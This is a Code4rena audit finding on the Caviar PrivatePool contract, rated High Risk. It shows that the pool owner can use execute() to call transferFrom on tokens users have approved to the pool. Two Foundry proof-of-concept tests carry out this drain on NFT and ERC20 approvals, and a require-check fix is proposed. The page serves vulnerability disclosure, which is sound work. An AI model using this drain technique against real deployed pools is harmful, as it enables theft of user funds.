Platform: Code4rena
Start Date: 07/04/2023
Pot Size: $47,000 USDC
Total HM: 20
Participants: 120
Period: 6 days
Judge: GalloDaSballo
Total Solo HM: 4
Id: 230
League: ETH
Rank: 76/120
Findings: 1
Award: $26.76
🌟 Selected for report: 0
🚀 Solo Findings: 0
26.761 USDC - $26.76
https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L459
To interact with a Private Pool a user need to approve it to transfer tokens on his behalf,
privatePool.execute(address target, bytes memory data)
, (target is the base token or NFT contract address and data is transferFrom function in ERC20 or ERC721 with parameters) and transfer the tokens to his account, and consequently user lost his funds and will not receive his due .PrivatePool public privatePool; address baseToken = address(0); address nft = address(milady); uint128 virtualBaseTokenReserves = 100e18; uint128 virtualNftReserves = 5e18; uint56 changeFee = 123908; uint16 feeRate = 100; bytes32 merkleRoot = bytes32(0); IStolenNftOracle.Message[] stolenNftProofs; uint256[] tokenIds; uint256[] tokenWeights; PrivatePool.MerkleMultiProof proofs; function test_FrontRunUserSell() public { // arrange address poolOwner = address(uint160(uint256(keccak256(abi.encodePacked("poolOwner"))))); address seller = address(uint160(uint256(keccak256(abi.encodePacked("seller"))))); vm.label(poolOwner, "PoolOwner"); vm.label(seller, "seller"); privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle)); privatePool.initialize( baseToken, nft, virtualBaseTokenReserves, virtualNftReserves, changeFee, feeRate, generateMerkleRoot(), true, true ); // Set poolOwner as the owner of the pool vm.mockCall( address(factory), abi.encodeWithSelector(ERC721.ownerOf.selector, address(privatePool)), abi.encode(address(poolOwner)) ); milady.mint(seller, 6); tokenIds.push(6); tokenWeights.push(2.7e18); proofs = generateMerkleProofs(tokenIds, tokenWeights); vm.startPrank(seller); milady.approve(address(privatePool), 6); // seller approve the pool to transfer the NFT vm.stopPrank(); // the owner calls execute with data vm.startPrank(poolOwner); bytes memory data = abi.encodeWithSignature("transferFrom(address,address,uint256)", address(seller), address(poolOwner), 6); privatePool.execute(address(milady), data); // execute calls milady transferFrom to transfer the token to // poolOwner account vm.stopPrank(); vm.startPrank(seller); vm.expectRevert("WRONG_FROM"); // sell reverts because the seller is no longer the owner of the token privatePool.sell(tokenIds, tokenWeights, proofs, stolenNftProofs); vm.stopPrank(); }
function test_FrontRunUserBuy() public { address poolOwner = address(uint160(uint256(keccak256(abi.encodePacked("poolOwner"))))); address buyer = address(uint160(uint256(keccak256(abi.encodePacked("buyer"))))); vm.label(poolOwner, "PoolOwner"); vm.label(buyer, "buyer"); // arrange privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle)); privatePool.initialize( address(shibaInu), nft, virtualBaseTokenReserves, virtualNftReserves, changeFee, feeRate, merkleRoot, true, false ); factory.setProtocolFeeRate(1000); // 1% // Set poolOwner as the owner of the pool vm.mockCall( address(factory), abi.encodeWithSelector(ERC721.ownerOf.selector, address(privatePool)), abi.encode(address(poolOwner)) ); for (uint256 i = 10; i < 13; i++) { tokenIds.push(i); milady.mint(address(privatePool), i); } (uint256 netInputAmount,,) = privatePool.buyQuote(tokenIds.length * 1e18); deal(address(shibaInu), buyer, netInputAmount); vm.startPrank(buyer); shibaInu.approve(address(privatePool), netInputAmount); // buyer approve the pool to transfer netInputAmount of base Tokens vm.stopPrank(); vm.startPrank(poolOwner); bytes memory data = abi.encodeWithSignature( "transferFrom(address,address,uint256)", address(buyer), address(poolOwner), netInputAmount ); privatePool.execute(address(shibaInu), data); // execute calls milady transferFrom to transfer the token to poolOwner account vm.stopPrank(); // act vm.startPrank(buyer); vm.expectRevert("TRANSFER_FROM_FAILED"); // buy reverts because the buyer is no longer the owner of the tokens privatePool.buy(tokenIds, tokenWeights, proofs); vm.stopPrank(); }
PS : Tests inherit from Fixture.sol
Foundry
In privatePool.execute(address target, bytes memory data)
function check that target address is not nft or baseToken contract addresses .
function execute(address target, bytes memory data) public payable onlyOwner returns (bytes memory) { require(target != nft && target != baseToken); // call the target with the value and data (bool success, bytes memory returnData) = target.call{value: msg.value}(data); // if the call succeeded return the return data if (success) return returnData; // if we got an error bubble up the error message if (returnData.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returnData_size := mload(returnData) revert(add(32, returnData), returnData_size) } } else { revert(); } }
#0 - c4-pre-sort
2023-04-20T16:40:39Z
0xSorryNotSorry marked the issue as duplicate of #184
#1 - c4-judge
2023-05-01T19:20:20Z
GalloDaSballo changed the severity to 3 (High Risk)
#2 - c4-judge
2023-05-01T19:21:21Z
GalloDaSballo marked the issue as satisfactory